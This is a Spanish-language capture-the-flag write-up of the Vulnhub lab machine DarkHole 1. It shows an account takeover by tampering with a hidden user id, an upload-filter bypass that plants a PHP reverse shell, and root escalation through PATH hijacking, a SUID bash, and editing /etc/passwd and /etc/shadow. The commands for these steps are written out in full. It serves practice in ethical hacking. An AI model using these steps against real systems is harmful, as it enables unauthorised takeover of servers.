Entrada

Writeup DarkHole 1

Writeup DarkHole 1

En este writeup, resolveré la máquina DarkHole 1 de Vulnhub, documentando cada paso y técnica empleada durante el proceso. A lo largo de este análisis, cubriré desde la recolección de información inicial hasta la explotación de vulnerabilidades y la escalada de privilegios, detallando las herramientas utilizadas y los métodos aplicados.

El objetivo es proporcionar una guía detallada para aquellos interesados en aprender sobre técnicas de pentesting y hacking ético, a través de un enfoque práctico y exhaustivo. Cada etapa del proceso será explicada en detalle para facilitar la comprensión de los desafíos encontrados y las soluciones implementadas. Este writeup está diseñado tanto para novatos como para usuarios avanzados que deseen mejorar sus habilidades en la resolución de máquinas de CTF.

1
2
3
4
5
6
 ____             _    _   _       _        _ 
|  _ \  __ _ _ __| | _| | | | ___ | | ___  / |
| | | |/ _` | '__| |/ / |_| |/ _ \| |/ _ \ | |
| |_| | (_| | |  |   <|  _  | (_) | |  __/ | |
|____/ \__,_|_|  |_|\_\_| |_|\___/|_|\___| |_|
                                            
Name:DarkHole: 1
Date release:18 Jul 2021
Author:Jehad Alqurashi
Series:DarkHole
Style:Enumeration/Follow the breadcrumbs
Goal:get root (uid 0) and read the flag file
Difficulty:Easy
Web page:https://www.vulnhub.com/entry/darkhole-1,724/

Descripción

It’s a box for beginners, but not easy, Good Luck

Hint: Don’t waste your time For Brute-Force

Resolucion de la maquina

Fase de Fingerprinting / Reconocimiento (Reconnaissance)

Descubrimiento de IP objetivo en la red

Se realiza el descubrimiento de hosts activos en la red mediante netdiscover para identificar la IP de la máquina objetivo:

1
netdiscover -i eth0 -r 192.168.88.0/24

Resultado:

alt text

La máquina objetivo se encuentra en la IP 192.168.88.4.

Se comprueba la conectividad con la máquina usando ping:

1
ping -c 1 192.168.88.4

Resultado:

1
2
PING 192.168.88.4 (192.168.88.4) 56(84) bytes of data.
64 bytes from 192.168.88.4: icmp_seq=1 ttl=64 time=0.487 ms

alt text

Descubrimiento de puertos y servicios en el host objetivo

Se realiza un escaneo de puertos y servicios usando nmap. Para ello se guarda la IP objetivo en una variable llamada IP, a continuacion se escanean todos los puertos del objetivo para despues extraerlos a una lista.

Comandos:

1
2
3
4
export IP=192.168.88.4
nmap -p- $IP
nmap -p- $IP | awk '{print $1}' | grep -E '^[0-9]+' | cut -d'/' -f1 | paste -sd, - > puertos.txt
cat puertos

alt text

Con la lista de los puertos obtenidos se realiza un escaneo de los servicios que estan corriendo en esos puertos, el sistema operativo de la maquina objetivo y los scripts comunes para obtener informacion del objetivo mediante el comando:

1
nmap -sS -sV -sC -O $IP -oA scan

alt text

Descubrimos que la máquina tiene un servidor HTTP en el puerto 80 y un servidor SSH en el puerto 22 y que corre un sistema operativo: Linux 4.X o 5.X

PORTSTATESERVICEVERSION
22/tcpopensshOpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcpopenhttpApache httpd 2.4.41 ((Ubuntu))

Fase de Footprinting / Exploración (Scanning)

Exploracion puerto 80

Navegamos al puerto 80 para analizar el sitio web, buscando vulnerabilidades como fallos de configuración o funcionalidades ocultas.

alt text

Se descubre una pagina de login.

alt text

Se puede pensar en hacer fuerza bruta, pero el laboratorio nos da como consejo inicial que no se pierda tiempo en ello.

Tambien se descubre una pagina de registro.

alt text

Los campos de este formulario de registro son un poco confusos por lo que se investiga el codigo del formulario

alt text

Se obtiene que el campo 1 es el nombre de usuario, el campo 2 es el email y el campo 3 es la clave para el usuario. Todos estos campos son obligatorios.

Explotacion

Registro de nuevo usuario en el sistema

Se realiza el registro un usuario de prueba con los siguientes datos:

usernameemailclave
testtest@test.comtest

Se comprueba el acceso con el usuario test recien creado y se obtiene acceso.

alt text

Abuso de navegacion en el sistema

Se aprecia que en la barra de navegacion aparece el ID del usuario

alt text

Se intenta comprobar si se tiene acceso a otros usuarios cambiando el ID en la barra de direcciones.

alt text

No tenemos acceso a la informacion de otro usuario al cambiar el valor de ID en la barra de direcciones.

Esta prueba no tuvo un final exitoso.

Abuso de cambio de contraseña

En esta pagina existen dos formularios con los que podriamos gestionar el usuario con el que estamos logados.

El primer formulario tiene como codigo:

1
2
3
4
5
<form name="event" method="post">
    <input type="text" name="username" value="test">
    <input type="email" name="email" value="test@test.com">
    <input type="submit" id="fsubmit" value="Update" class="button">
</form>

Y el segundo:

1
2
3
4
5
<form name="event" method="post">
    <input type="password" name="password" id="ftitle" placeholder="New Password">
    <input type="hidden" name="id" value="2">
    <input type="submit" id="fsubmit" value="Change" class="button">
</form>

Como se puede apreciar existe un campo de tipo hidden (oculto) que contiene el valor del id. Este valor se enviara cuando se lance el boton submit.

Se va a probar el envio del formulario cambiando el valor del id antes de su envio.

Para ello uso burpsuite y se accede al panel de usuario “test” para probar el cambio de clave.

Se rellena el formulario con una clave nueva “nuevaclave” y antes de pulsar el boton “change” se activa el interceptador en burpsuite para capturar el request de la pagina.

alt text

Lo pasamos al modulo de repeater de burpsuite para modificar la peticion y enviarla con el valor de id=1.

alt text

Se pulsa el boton “send” y en el panel “Response” se obtiene el mensaje “Password has been updated”. Por lo que se comprueba que ha funcionado el cambio de clave para el usuario con id=1

alt text

Se prueba a acceder con el usuario “admin” y la clave nueva que se ha establecido “nuevaclave”

alt text

Y se consigue el acceso al panel del usuario admin

alt text

Este panel es diferente ya que añade un modulo en el cual se permite la carga de ficheros.

Abuso del modulo de subida de ficheros al servidor

Voy a realizar la subida de una shell reversa en el servidor web a traves del modulo de subida de ficheros para de esta forma obtener una shell en la maquina objetivo.

El primer paso sera obtener la ip de la maquina atacante

1
ifconfig eth0

alt text

A continuación necesito generar un fichero que contenga una shell reversa.

Como se ha visto las paginas que carga el servidor son paginas php, por lo que idealmente podriamos cargar una shell en un fichero php.

Para ello puedo usar la herramienta Reverse Shell Generator que se puede encontrar en revshells.com configurando los parametros y eligiendo el tipo de listener a usar.

alt text

Obtengo un codigo malicioso para crear un fichero php con una shell reversa a la maquina atancante.

Creo un fichero llamado antivirus.php donde insertare el codigo que he obtenido de la web revshells.com

alt text

alt text

Los parametros que he definido en el archivo malicioso son la IP 192.168.88.3 y el puerto 7331, con ello levanto netcat como listener en dicho puerto

alt text

Subo el fichero antivirus.php.

alt text

Al subirlo el servidor nos responde que no se pudo subir ya que solo permite ficheros jg, png y gif

Renombro el fichero con la extension phtml

alt text

Y realizo de nuevo la subida del fichero.

alt text

Veo que me da el mensaje Upload File Successful y me da enlace al fichero subido.

Accedo al enlace para ejecutar el codigo malicioso en el servidor y con ello obtener la shell al sistema.

alt text

Se ha conseguido acceso al sistema con el usuario www-data

Post Explotacion

Enumeracion local

Enumeracion del sistema

Comandos:

1
2
3
4
5
6
hostname
cat /etc/issue
cat /etc/*release
uname -a
lscpu
df -h

alt text

Enumeracion de usuarios del sistema

Comandos:

1
2
3
4
5
6
whoami
groups root
cat /etc/passwd | grep sh
groups
who
lastlog | grep "Never"

alt text

Con estos comandos he conseguido saber lo siguiente:

  • El unico usuario con permisos root es el usuario root
  • El usuario www-data solo es miembro de www-data
  • Existen tres usuario en la maquina objetivo con posiblidad de acceder a una terminal: root, darkhole y john
  • La ultima vez que han hecho login en la maquina los usuarios.

Enumeración de Red

Compruebo la enumeracion de la red sin obtener grandes hallazgos que no conociese ya.

alt text

Enumeracion de SUID

Ejecuto el comando:

1
find / -perm -4000 2>/dev/null

y obtengo:

alt text

En este listado hay un directorio que me llama la atencion del usuario john

alt text

Compruebo el contenido de la carpeta home del usuario john

Comando:

1
2
cd /home/john
ls -lisah

alt text

En esta carpeta llama la atencion la carpeta .ssh que tiene permisos para el grupo www-data y el fichero toto ya encontrado anteriormente que tiene activo el bit SUID.

Escalada de privilegios

Voy a realizar la escalada de privilegios apoyandome en los hallazgos obtenidos en la enumeracion local.

Escalada de privilegio sobre ejecutable de sistema

Al ejecutar .toto se comprueba que ejecuta el comando id del sistema.

Podemos crear nuestra propia version del comando id para abusar de permisos de ejecucion y obtener una shell con permisos del usuario.

Para hacer esto tengo que estar en una carpeta con permisos de escritura, habitualmente linux tiene definida la carpeta /tmp como carpeta con permisos de escritura para todos los usuarios.

1
cd /tmp

A continuacion creo el fichero id al cual le añadire una linea con la llamada a /bin/bash

1
echo '/bin/bash' > id

Le cambiamos los permisos con el comando

1
chmod 777 id

En el PATH del sistema añadimos como primera carpeta la carpeta /tmp

1
export PATH=/tmp:$PATH

alt text

A continuacion ejecuto el fichero toto y obtengo una shell desde el usuario john.

alt text

Compruebo la carpeta del usuario

alt text

El usuario john es propietario de varios archivos

  • file.py
  • user.txt
  • password

Si compruebo el contenido de estos ficheros obtengo la flag para el usuario john, y una clave.

alt text

1
flag DarkHole{You_Can_DO_It}

Compruebo el acceso al sistema con john:root123 atraves de ssh.

alt text

Compruebo desde el usuario john sobre que binarios tiene permisos de ejecucion de root con el comando:

1
sudo -l

alt text

Obtengo que tiene permisos de ejecucion sobre el binario file.py

Compruebo el fichero file.py

alt text

El fichero file.py esta vacio. Voy a abusar de los permisos de ejecucion en este fichero añadiendole codigo.

Dependiendo del codigo que añada puedo conseguir el acceso root de diferentes formas:

Escalada de privilegios a root – Tecnica # 01 – setting SUID bit on /bin/bash

Puedo establacer el bit SUID a /bin/bash si añado el siguiente contenido al fichero file.py

Comandos:

1
2
3
#file.py 
import os;
os.system('chmod +s /bin/bash')

alt text

Ahora ejecuto file.py como usuario root

1
sudo -u root /usr/bin/python3 /home/john/file.py

El sistema nos solicita la clave para john y ejecuta el contenido de file.py estableciendo el bit SUID para /bin/bash

alt text

Ahora ejecuto una instancia de bash

1
bash -p

alt text

Y consigo obtener el acceso con permisos de root.

alt text

Escalada de privilegios a root – Tecnica # 02 – PASSWD file

Puedo añadir un usuario al fichero /etc/passwd para poder acceder con permisos root al sistema

Comandos:

1
2
3
#file.py 
import os;
os.system('chmod 777 /etc/passwd')

alt text

Ahora ejecuto file.py como usuario root

1
sudo -u root /usr/bin/python3 /home/john/file.py

Compruebo que el fichero /etc/passwd ahora tiene permisos completos.

alt text

A continuacion añado al usuario ibl4zqu3z con clave 123 en el fichero /etc/passwd con permisos de root sobre /bin/bash

1
echo 'ibl4zqu3z:$1$UcH1bqbq$q2aTjHzGSqyXJxsE92LRw1:0:0:root:/root:/bin/bash' >> /etc/passwd

alt text

Esto me permite que al cambiar al usuario ibl4zqu3z en la maquina haga un login con permisos de root desde el usuario john.

alt text

Escalada de privilegios a root – Tecnica # 03 – SHADOW file

Puedo establecer una clave en el fichero /etc/shadow para cualquier usuario de la maquina

Comandos:

1
2
3
#file.py 
import os;
os.system('chmod 777 /etc/shadow')

alt text

Ahora ejecuto file.py como usuario root

1
sudo -u root /usr/bin/python3 /home/john/file.py

Compruebo que el fichero /etc/shadow ahora tiene permisos completos.

alt text

A continuacion genero un hash de contraseña de tipo SHA-512 para cambiarle la contraseña al usuario root por la clave 123

Comando:

1
openssl passwd -6

alt text

Accedo al fichero /etc/shadow y realizo el cambio de contraseña

alt text

alt text

Con esto ya podemos hacer login con el usuario y obtener el acceso root

alt text

Esta entrada está licenciada bajo CC BY 4.0 por el autor.